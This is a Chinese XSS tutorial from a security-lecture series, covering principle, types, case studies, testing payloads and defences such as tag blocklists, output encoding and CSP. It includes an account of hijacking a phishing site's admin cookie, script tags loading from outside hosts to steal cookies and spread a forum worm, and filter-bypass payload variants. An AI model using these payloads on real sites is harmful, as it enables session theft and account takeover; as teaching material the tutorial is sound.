米桃安全漏洞讲堂系列第2期:XSS跨站脚本攻击漏洞

一、一次钓鱼攻击引发的反制

某日,安全团队收到监控预警,有外部人员使用钓鱼邮件对公司内部人员进行信息诈骗。安全团队立即开始分析事件进程。
攻击者以劳动补贴名义群发邮件,诱导内部员工扫描二维码,进而填写个人信息、银行卡等敏感内容。

安全团队立即开始对邮件进行溯源。
首先,扫描该二维码,跳转到钓鱼邮件域名为
https://4z3ichiecr.512kasmdkasijdiashdjdfdfpewkpxxxxxxxxxx.cn/okok168
ip地址为:
150.129.123.123(香港服务器)

经测试,该钓鱼邮件页面中前端页面存在跨站脚本攻击漏洞,利用该漏洞,安全团队进行反钓鱼试验。等待钓鱼平台管理人员上线。
经过一天的等待,终于有了突破,钓鱼平台人员上线,我方通过预埋的跨站脚本攻击漏洞获取了网站后台管理员账号cookie信息。顺利登录该后端平台。

登录后确认该平台为攻击来源,确认受害者信息、范围、金额,并锁定后台人员登录ip、身份等信息。完成溯源工作。为后续法律方面推进工作提供了有利支持。
上述钓鱼反制的关键角色,就是本文要讲述的主角:跨站脚本攻击漏洞

二、跨站脚本攻击漏洞原理(XSS)

2.1 漏洞原理

跨站脚本攻击(Cross Site Scripting,以下简称XSS)。
本应缩写为CSS,但由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。
XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。

2.2 漏洞类型分类

XSS漏洞可分为三类。

  • 反射型XSS
    跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码一般不存储到服务端。
  • 存储型XSS
    这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)。用户每次访问相应的页面,客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
  • DOM型XSS
    —种基于DOM的跨站,这是客户端脚本自身解析不正确导致的安全问题。DOM XSS 是由于浏览器解析机制导致的漏洞,服务器不参与,而存储型与反射型都需要服务器响应参与。

2.3 漏洞危害

XSS漏洞的危害不仅局限于弹窗这种骚扰方式,按危害发生位置来划分,可分为客户端、服务端两类。总结如下,

客户端危害:
  • 窃取cookie(包括ip、ua等)
  • 自动转发邮件
  • 放马(webshell)
  • 刷流量
服务端危害:
  • 劫持后台
  • 篡改页面
  • 蠕虫传播
  • 内网扫描

通过以下两个例子,说明XSS的危害性。

2.4 XSS漏洞案例

案例一、使用XSS漏洞成功登录某后台系统

某业务系统,机器人客服对话功能中,允许攻击者输入XSS攻击代码,如<sCRiPt/SrC=//xssxss.com/zLko>

系统后端管理人员,只要查看攻击者提交的对话内容,系统会自动执行xss攻击语句,获取事先定制的管理用户数据。
通过XSS后端打码平台(下文详述),获取后台用户cookie数据。效果如下。

攻击者可通过获取的cookie数据,以后台用户的身份成功登录系统后台并进行操作。

案例二、利用XSS组合漏洞对论坛进行蠕虫传播
  • 1、论坛发帖处,发现存储型XSS漏洞
    论坛发帖处,观察到可以大小写混淆绕过,于是构造payload(对于屏蔽括号的可以用 ’ 来代替)。
<sCript>alert`xss`</sCript>


可弹窗。

  • 2、XSS漏洞配合CSRF漏洞,实现自动发帖子
    CSRF(跨站请求伪造,后续系列文章中详述),是指通过伪装来自受信任用户的请求来利用受信任的网站。发帖处也存在该漏洞。构造发帖js,如下:

    然后利用XSS平台重新重新构造访问该js的攻击语句)。
<sCRiPt/SrV=//60.wf/ORxV>


普通用户浏览存在攻击语句的帖子,即会自动进行发帖。
以下为存在危害的帖子,普通用户完成浏览。

查看普通用户的发帖记录。已成功自动发帖。

  • 3、构建子帖结构,形成蠕虫攻击
    上述两步完成了自动发帖,要形成蠕虫攻击效果,只需要将子帖内容403重定向至母帖(最初攻击帖),访问母帖后自动创建新帖,子帖再转回母帖,完成攻击。
    关键payload:
<embed/src=/xxxxxx.com/web/normal/topic/806440>


三、检测方法

3.1 基础XSS弹窗检测

跨站脚本攻击XSS,应在信息系统建设阶段重点测试及修复。

漏洞检测需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用BurpSuite等抓包工具来获取请求后手工修改请求参数,然后重新提交到服务端来测试,因为XSS并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。

具体的测试对象可包括:页面输入处、url参数和http请求中的跨站脚本漏洞。
最常见的跨站脚本的方法,输入<Script>alert(1)</script>以及它的各种变体:

<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</script> 
%3Cscript%3Ealert(1)%3C/script%3E
<script x=1>alert(1)</script x=1>
<script>confirm(1)</script>
<svg/onload=alert`1`>
"--><Svg/Onload=alert(1)>'";alert(1);x="'
<img src=alert(1)>
<sc<script>ript>alert(/1/)</script> 
<javascript:alert(1)>;

变体XSS攻击语句,主要是针对服务端防护不全的场景。绕过XSS防护的方式包括:

1、html标签、JavaScript事件尝试;
2、大小写绕过,如<ScRiPt>
3、主动闭合标签实现注入代码 
4、混淆,如<<script>
5、特殊字符转义Unicode或ascii、base64等的方式

例如,提交XSS攻击语句<script>alert(document.cookie)</script>后,页面弹出警告框,则该页面存在XSS漏洞。如下:

存储型跨站脚本攻击测试方法与反射型类似,区别在于存储型跨站脚本攻击的检测内容主要是Web应用程序向用户提供的可添加新内容并持久存储的Web表单。通过对每个可能存在攻击点的Web表单插入攻击字符串,进行检测。

3.2 XSS进阶利用——XSS打码平台

对于有经验的攻击者,通常使用XSS打码平台实施攻击。XSS平台,通常可以记录访问的url,访问时的cookie等。稍微复杂的功能,可能还会记录键盘输入,获取页面源码,截取网页屏幕等。
相应的功能可在平台进行定制,例如,

勾选相应模块后,系统会自动生成各种类型的攻击语句(结合上述绕过思路)。

攻击者将相应的语句嵌入被攻击平台,静等后台受害者上线即可。以下为攻击者成功获取用户信息的界面。

3.3 自动化漏洞检测方案

除了手工测试外,企业也可采用自动化漏洞扫描方案。

  • DAST黑盒扫描。动态应用安全测试,黑盒测试。可输入扫描目标,配置登录信息后,启动扫描XSS漏洞。如Xray、AWVS等。
  • IAST扫描。交互式应用程序安全测试。可在测试阶段,由测试人员执行,工具被动系统XSS漏洞。
  • SAST扫描。源代码扫描。白盒工具。从源码层面扫描不规范的写法,提示XSS漏洞风险。

四、防御措施

企业作为信息平台提供方,如何防御跨站脚本漏洞,可以从XSS漏洞的攻击流程入手。
完整的XSS攻击流程包括五步。攻击者发现XSS漏洞——构造攻击代码,植入功能点——被害人主动或被动访问功能——前端(浏览器)执行代码——获取受害人信息如cookie

从攻击流程判断,平台方可以从XSS攻击语句的输入、输出阶段进行介入,打断攻击流程,完成攻击防御。

跨站脚本攻击漏洞防御总体思路可总结为:输入过滤,输出编码

4.1 输入过滤(过滤器、黑名单、白名单)

4.1.1 事件标签过滤

XSS攻击语句多为HTML、JavaScript事件标签。可通过过滤标签的方式,破坏攻击者构造的攻击语句。

  • 过滤HTML标签或转义特殊字符
如过滤<script>、<iframe>等,将“<”转义成“&lt;”、“>”转义成“&gt;”、“"”转义成“&quot;”、“&”转义 成“&amp;” 等。
  • 过滤JavaScript 事件的标签
如 "onclick=", "onfocus" 等。

总结常见HTML、JavaScript常见标签如下:

HTML5标签
<svg>
<audio>
<video>
<math>
<link>
<details>
<canvas>
<article>
<progress>
<command>HTML4标签
<base>
<frameset>
<iframe>
<frame>
<body>
<object>
<script>
<style>
<img>
<div>
<li>
<embed>
<input>
<title>
<bgsound>
<h1>-<h6>
<hr>
<textarea>
<menu>
<a>
<p>
<em>
<span>
<strong>
<smail>
<label>常见事件
onclick
onload
onmouseover
onerror
onfocus
onblur
onmouseout
onmousemove
onmousedown
onmouseup
ontoggle
4.1.2 特殊字符过滤

除了常见的HTML、JavaScript标签过滤。还可以对特殊字符进行过滤。一般建议过滤掉双引号(”)、尖括号(<、>)等特殊字符,或者对客户端提交的数据中包含的特殊字符进行实体转换,比如将双引号(”)转换成其实体形式",<对应的实体形式是<,<对应的实体形式是>。
以下为需过滤的常见字符

|(竖线符号)
&(&符号)
;(分号)
$(美元符号)
%(百分比符号)
@(at符号)
'(单引号)
"(引号)
\'(反斜杠转义单引号)
\"(反斜杠转义引号)
<>(尖括号)
()(括号)
+(加号)
CR(回车符,ASCII 0x0d)
LF(换行,ASCII 0x0a)
,(逗号)
\(反斜杠)
4.1.3 用户输入内容格式限制

另外,也可以对用户输入内容格式进行限制。对于用户输入的校验,要求最终落地在服务端,因为前端js限制可通过抓包等形式绕过。

  • 客户端限制。如限定输入字符类型、长度、正负数校验。
  • 服务端只接受用户输入期望的数据。 如,年龄的textbox中,只允许用户输入数字,而数字之外的字符均作过滤。

4.2 输出编码(转义)

上述输入过滤的方式,在用户输入阶段入手,存在被绕过的可能(参见第三章XSS绕过方法)。
防守方还可以从系统输出入手对系统输出到前端(浏览器)的语句作转义处理。用来确保输入的字符被视为数据,而不是作为html、js被浏览器所解析。转义比过滤更推荐

变量输出到不同环境,使用不同的输出编码,项目中较多的是输出到html实体(Html Encode)、输出到js中或从js输出到html实体中。

可以根据不同的输出域选择转义方法:

  • 可使用ESAPI或者common-langjar的 StringEscapeUtils类或者Spring的HtmlUtils来实现
  • ESAPI.encoder().encodeForHTML,HTML转义。就是将字符转换成HTMLEntities,一般会转(&、<、>、"、'、/)这6个字符。
  • ESAPLencoder().encodeForHTMLAttribute,HTML标签属性转义。
  • ESAPIencoder().encodeForlava Saript,JavaScript数据转义,是使用”\“对特殊字符进行转义。
  • ESAPI.encoder().encodeForURL,URL数据转义。

在请求返回页面关键字符进行特殊字符转义,总结如下:

< 转成 &lt;
> 转成 &gt;
& 转成 &amp;
" 转成 &quot;
' 转成 &#39
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)

综上,结合“输入过滤、输出编码”的整体原则,研发人员可参考如下XSS安全编码示例(XssSecureCodeSample.java)。

package com.security.securecodesample;
import org.junit.Assert;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;public class XssSecureCodeSample extends TestCase {public static void XssFilterSample1(String toFilterString, String expectedResult) {boolean XSSFlag = false;String[] toFilters = { "<script", "<frameset", "<iframe", "<frame","<body", "<object", "<style", "<img", "<div", "<li", "<embed","<input", "<a", "<title", "<bgsound" };String temp = toFilterString.toLowerCase();for (String s: toFilters) {if (temp.contains(s)) {XSSFlag = true;break;}}if (XSSFlag) {String result = "illegal!";Assert.assertEquals(result, expectedResult);}	else {String result = "legal!";Assert.assertEquals(result, expectedResult);}}public static void XssHtmlEncodeSample1(String toFilterString, String expectedResult) {String result = htmlEncode(toFilterString);Assert.assertEquals(result, expectedResult);}public static void XssHtmlAttributeEncodeSample1(String toFilterString, String expectedResult) {String result = htmlAttributeEncode(toFilterString);Assert.assertEquals(result, expectedResult);}public static void UrlEncodeSample1(String toFilterString, String expectedResult) {String result = urlEncode(toFilterString);Assert.assertEquals(result, expectedResult);}public static void UnicodeEncodeSample1(String toFilterString, String expectedResult) {String result = javaScriptEncoding(toFilterString);Assert.assertEquals(result, expectedResult);}public static void CSSEncodeSample1(String toFilterString, String expectedResult) {String result = CSSHexEncoding(toFilterString);Assert.assertEquals(result, expectedResult);}/*Convert & to &amp;Convert < to &lt;Convert > to &gt;Convert " to &quot;Convert ' to &#x27;Convert / to &#x2F;*/public static String htmlEncode(String toFilterString) {StringBuffer sb = new StringBuffer();for(int i = 0 ; i < toFilterString.length() ; i ++) {char c = toFilterString.charAt(i);switch (c) {case '&': sb.append("&amp;");break;case '<':sb.append("&lt;");break;case '>':sb.append("&gt;");break;case '"': sb.append("&quot;");break;case '\'':sb.append("&#x27;");break;case '/':  sb.append("&#x2F;");break;default:sb.append(c);					}}String result = sb.toString();//System.out.println(result);return result;}/** Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH;* format, including spaces. (HH = Hex Value)*/public static String htmlAttributeEncode(String toFilterString) {String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";StringBuffer sb = new StringBuffer();for(int i = 0 ; i < toFilterString.length() ; i ++) {char c = toFilterString.charAt(i);String cc = c + "";if (table.contains(cc)) {sb.append(c);	} else {sb.append("&#" + Integer.toHexString((int)c) + ";");}}String result = sb.toString();System.out.println(result);return result;}/** CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence.* There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping* possible by zero padding the value.*/public static String CSSHexEncoding(String s) {StringBuilder sb = new StringBuilder(s.length() * 3);for (char c : s.toCharArray()) {sb.append("\\");sb.append(Character.forDigit((c >>> 20) & 0xf, 16));sb.append(Character.forDigit((c >>> 16) & 0xf, 16));sb.append(Character.forDigit((c >>> 12) & 0xf, 16));sb.append(Character.forDigit((c >>> 8) & 0xf, 16));sb.append(Character.forDigit((c >>> 4) & 0xf, 16));sb.append(Character.forDigit((c) & 0xf, 16));}System.out.println(sb.toString());return sb.toString();}public static String unicodeEncoding(String s) {StringBuilder sb = new StringBuilder(s.length() * 3);for (char c : s.toCharArray()) {sb.append("\\u");sb.append(Character.forDigit((c >>> 12) & 0xf, 16));sb.append(Character.forDigit((c >>> 8) & 0xf, 16));sb.append(Character.forDigit((c >>> 4) & 0xf, 16));sb.append(Character.forDigit((c) & 0xf, 16));}//System.out.println(sb.toString());return sb.toString();}public static String javaScriptEncoding(String toFilterString) {String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";StringBuffer sb = new StringBuffer();for(int i = 0 ; i < toFilterString.length() ; i ++) {char c = toFilterString.charAt(i);String cc = c + "";if (table.contains(cc)) {sb.append(c);	} else {sb.append(unicodeEncoding(cc));}			}String result = sb.toString();System.out.println(result);return result;}public final static String[] encodeTable = new String[256];static{for(int i = 0 ; i < 256 ; i++){if(i >='0' && i <= '9' || i >= 'a' && i <= 'z' || i >= 'A' && i <= 'Z' || i == '-' || i == '_' || i == '.'){encodeTable[i] = (char)i + "";}else{encodeTable[i] = "%" + String.format("%02x",i).toUpperCase();}}}/** URLEncode Except for alphanumeric characters, escape all characters with the \\uXXXX unicode escaping format (X = Integer).*/public static String urlEncode(final String sourceStr){final StringBuilder sb = new StringBuilder();for(int i = 0 ; i < sourceStr.length() ; i++){sb.append(encodeTable[(int)sourceStr.charAt(i) & 0xFF]);}return sb.toString();}public static Test suite() {return new TestSuite(XssSecureCodeSample.class);}public void testFilter1() {XssFilterSample1("<script>alert(123)</script>", "illegal!");XssFilterSample1("userdata", "legal!");}public void testEncode1() {XssHtmlEncodeSample1("<script>alert(123)</script>", "&lt;script&gt;alert(123)&lt;&#x2F;script&gt;");XssHtmlAttributeEncodeSample1("javascript:alert(123)", "javascript&#3a;alert&#28;123&#29;");UrlEncodeSample1("<sciprt>alert(123)</alert>", "%3Csciprt%3Ealert%28123%29%3C%2Falert%3E");UnicodeEncodeSample1("var a = 1;", "var\\u0020a\\u0020\\u003d\\u00201\\u003b");CSSEncodeSample1("back-ground:url", "\\000062\\000061\\000063\\00006b\\00002d\\000067\\000072\\00006f\\000075\\00006e\\000064\\00003a\\000075\\000072\\00006c");}public static void main(String[] args) {junit.textui.TestRunner.run(suite());}
}

4.3 浏览器前端XSS防护设置

除了上述从后端源码层面的XSS防护。还可以从浏览器(前端)层面进行相关安全配置,实现XSS防护。具体如下。

4.3.1 cookie增加HttpOnly属性(同源策略)

建议如果网站基于cookie而非服务器端的验证,建议加上HttpOnly,当然,目前这个属性还不属于任何一个标准,也不是所有的浏览器支持,设置cookie的代码:

response.setHeader("SET-COOKIE","user=" + request.getParameter("cookie") + "; HttpOnly");

本段代码设置了http only属性,攻击者无法通过Javascript 中的document.cookie语句获取用户Cookie信息。

4.3.2 设置X-XSS-Protection属性

该属性被所有的主流浏览器默认开启。X-XSS-Protection,即XSS保护属性,是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时,停止渲染页面。

4.3.3 开启CSP网页安全策略

CSP是网页安全策略(Content Security Policy)的缩写。
开启策略后可以起到以下作用

  • 禁止加载外域代码,防止复杂的攻击逻辑;
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用);
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用);
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

五、总结展望

本文结合实际使用案例,简要讲述了跨站脚本攻击漏洞XSS的原理、危害、测试方法及防御措施
XSS漏洞形成的根本原因是,用户过分信任网站,放任来自浏览器地址栏代表的那个网站代码在自己本地任意执行。如果没有浏览器的安全机制限制,XSS代码可以在用户浏览器为所欲为。
对于XSS的防御,更多的是客户端侧的任务。故业界有人戏称"CSRF是服务端程序员的锅,XSS是客户端程序员的锅"。

系列往期链接

米桃安全漏洞讲堂系列第1期:SQL注入漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/669572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPF控件-ItemsControl

介绍 ItemsControl是用于展示一组项的控件。我们常见的列表&#xff08;ListBox&#xff09;、数据表格&#xff08;DataGrid&#xff09;等都是继承自ItemsControl。可用于自定义样式展示各种批量的数据集合。 常见使用示例&#xff1a; <ItemsControl ItemsSource"…

《MySQL》超详细笔记

目录 基本知识 主流数据库 数据库基本概念 MySQL启动 数据库基本命令 数据库 启动数据库 显示数据库 创建数据库 删除数据库 使用数据库 查询当前数据库信息 显示数据库中的表 导入数据库脚本 表 查看表的结构 查看创建某个表的SQL语句 数据库的查询命令 查询…

PHP客服系统-vue客服聊天系统

PHP-Vue客服聊天系统是一款高效、灵活的客户服务解决方案&#xff0c;基于ThinkPHP6、Vue3和Workerman(Gateworker)框架开发&#xff0c;专为单商户场景打造。 系统亮点&#xff1a; 分布式部署支持&#xff0c;轻松应对高并发场景&#xff1b;本地消息存储功能&#xff0c;确…

探索数据可视化:Matplotlib在Python中的高效应用

探索数据可视化&#xff1a;Matplotlib在Python中的高效应用 引言Matplotlib基础安装和配置Matplotlib基础概念绘制简单图表线形图散点图柱状图 图表定制和美化修改颜色、线型和标记添加标题、图例和标签使用样式表和自定义样式 高级图表类型绘制高级图表多图布局和复杂布局交互…

【MATLAB】交叉验证求光滑因子的广义神经网络回归预测算法

有意向获取代码&#xff0c;请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 交叉验证求光滑因子的广义神经网络回归预测算法是一种用于选择模型超参数并提高泛化性能的方法。下面将对该算法进行详细介绍&#xff1a; 广义神经网络回归模型&#xff1a; 广义神经网络…

Webpack源码浅析

webpack启动方式 webpack有两种启动方式&#xff1a; 通过webpack-cli脚手架来启动&#xff0c;即可以在Terminal终端直接运行&#xff1b; webpack ./debug/index.js --config ./debug/webpack.config.js通过require(webpack)引入包的方式执行&#xff1b;其实第一种方式最终…

zabbix server/agent源码编译成rpm包(通用版-小白教程)

前言 工作环境需要用到很多信创的操作系统&#xff0c;zabbix agent2的官方没有现成的包可用&#xff0c;网上巴拉了一下找到zabbix agent2通用版编译成rpm包的方法 思路&#xff1a;假如当你有一批ky10_x86的机器需要配套的zabbix agent的rpm包&#xff0c;那就找一台ky10_x…

计组学习笔记2024/2/5

记录每天学到了什么,同时在挪移图片过程中再次理解加深印象 学计算机最重要的是理解,而不是整齐的笔记,不要主次搞混,所以以后记笔记的模式也要改一下(主要还是自己太菜,还达不到一边做到整齐笔记的同时还能够有时间做到理解,所以只能舍弃整齐时间保留理解时间)(不过如果有现成…

针对物联网应用优化 Cortex-M0+ 微控制器的功耗消耗”

为了针对物联网应用优化 Cortex-M0 微控制器的功耗消耗&#xff0c;我们可以采取一系列措施&#xff0c;包括优化代码、使用低功耗模式、优化外设配置等。以下是对 Cortex-M0 微控制器功耗消耗优化的详细解释&#xff0c;并提供示例代码以演示如何在物联网应用中优化功耗。 ✅作…

敏捷开发的INVEST原则

很久没来这个社区发点文章了&#xff0c;是因为工作的变动很大。 上一篇文章&#xff0c;我还在讨论专项测试领域&#xff0c;如何在金融投资领域进行测试&#xff0c;如何把控测试管理。 现在我要做的是质量体系建设的咨询&#xff0c;上升的高度和领域发生了变化。 我现在…

centos系统初始配置

centos 7网络配置、主机名配置、修改hosts文件、ssh服务和远程登录。 静态网络配置 主机名配置 ssh服务和远程登陆

Nginx: a little source code

Nginx被称为C程序员必学的源码之一&#xff0c;我觉得名副其实&#xff0c;它的事件机制、内存管理、进程通信都可以说是顶级实践&#xff0c;非常值得学习。 Nginx源码比较多&#xff0c;本文只看几个重要的模块&#xff0c;更详细的内容请参考《深入理解nginx模块开发与架构》…

6.s081 学习实验记录(五)traps

文章目录 一、RISC-V assembly简介问题 二、Backtrace简介注意实验代码实验结果 三、Alarm简介注意实验代码实验结果 一、RISC-V assembly 简介 git checkout traps&#xff0c;切换到traps分支user/call.c 文件在我们输入 make fs.img 之后会被汇编为 call.asm 文件&#xf…

网络原理TCP/IP(5)

文章目录 IP协议IP协议报头地址管理网段划分特殊的IP地址路由选择以太网认识MAC地址对比理解MAC地址和IP地址DNS&#xff08;域名服务器&#xff09; IP协议 IP协议主要完成的工作是两方面&#xff1a; 地址管理&#xff0c;使用一套地址体系&#xff0c;来描述互联网上每个设…

day20网页基本标签

网页基本标签 标题标签段落标签换行标签水平线标签字体样式标签注释和特殊符号 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>网页基本标签</title> </head> <body> <!--标题…

CTFshow web(php特性 105-108)

web105 <?php /* # -*- coding: utf-8 -*- # Author: Firebasky # Date: 2020-09-16 11:25:09 # Last Modified by: h1xa # Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include(flag.php); error_reporting(0); $error你还想要flag嘛&…

BVH动画绑骨蒙皮并在Unity上展示

文章目录 Blender绑定骨骼Blender蒙皮Blender中导入bvh文件将FBX导入Unity Blender绑定骨骼 先左上角红框进入model模式&#xff0c;选中要绑定的模型&#xff0c;然后进入Edit模式把骨骼和关节对齐。 &#xff08;选中骨骼&#xff0c;G移动&#xff0c;R旋转&#xff09; 为…

如何使用NimExec通过无文件命令执行实现横向移动

关于NimExec NimExec是一款功能强大的无文件远程命令执行工具&#xff0c;该工具专为红队研究人员设计&#xff0c;使用Nim语言开发&#xff0c;基于服务控制管理器远程协议&#xff08;MS-SCMR&#xff09;实现其功能&#xff0c;可以帮助广大研究人员在目标网络系统中实现横…

【算法与数据结构】583、72、LeetCode两个字符串的删除操作+编辑距离

文章目录 一、583、两个字符串的删除操作二、72、编辑距离三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、583、两个字符串的删除操作 思路分析&#xff1a;本题的思路和115、不同的子序列差不多&#xff0c;只是变成…

【Java EE初阶十】多线程进阶二(CAS等)

1. 关于CAS CAS: 全称Compare and swap&#xff0c;字面意思:”比较并交换“&#xff0c;且比较交换的是寄存器和内存&#xff1b; 一个 CAS 涉及到以下操作&#xff1a; 下面通过语法来进一步进项说明&#xff1a; 下面有一个内存M&#xff0c;和两个寄存器A,B; CAS(M,A,B)&am…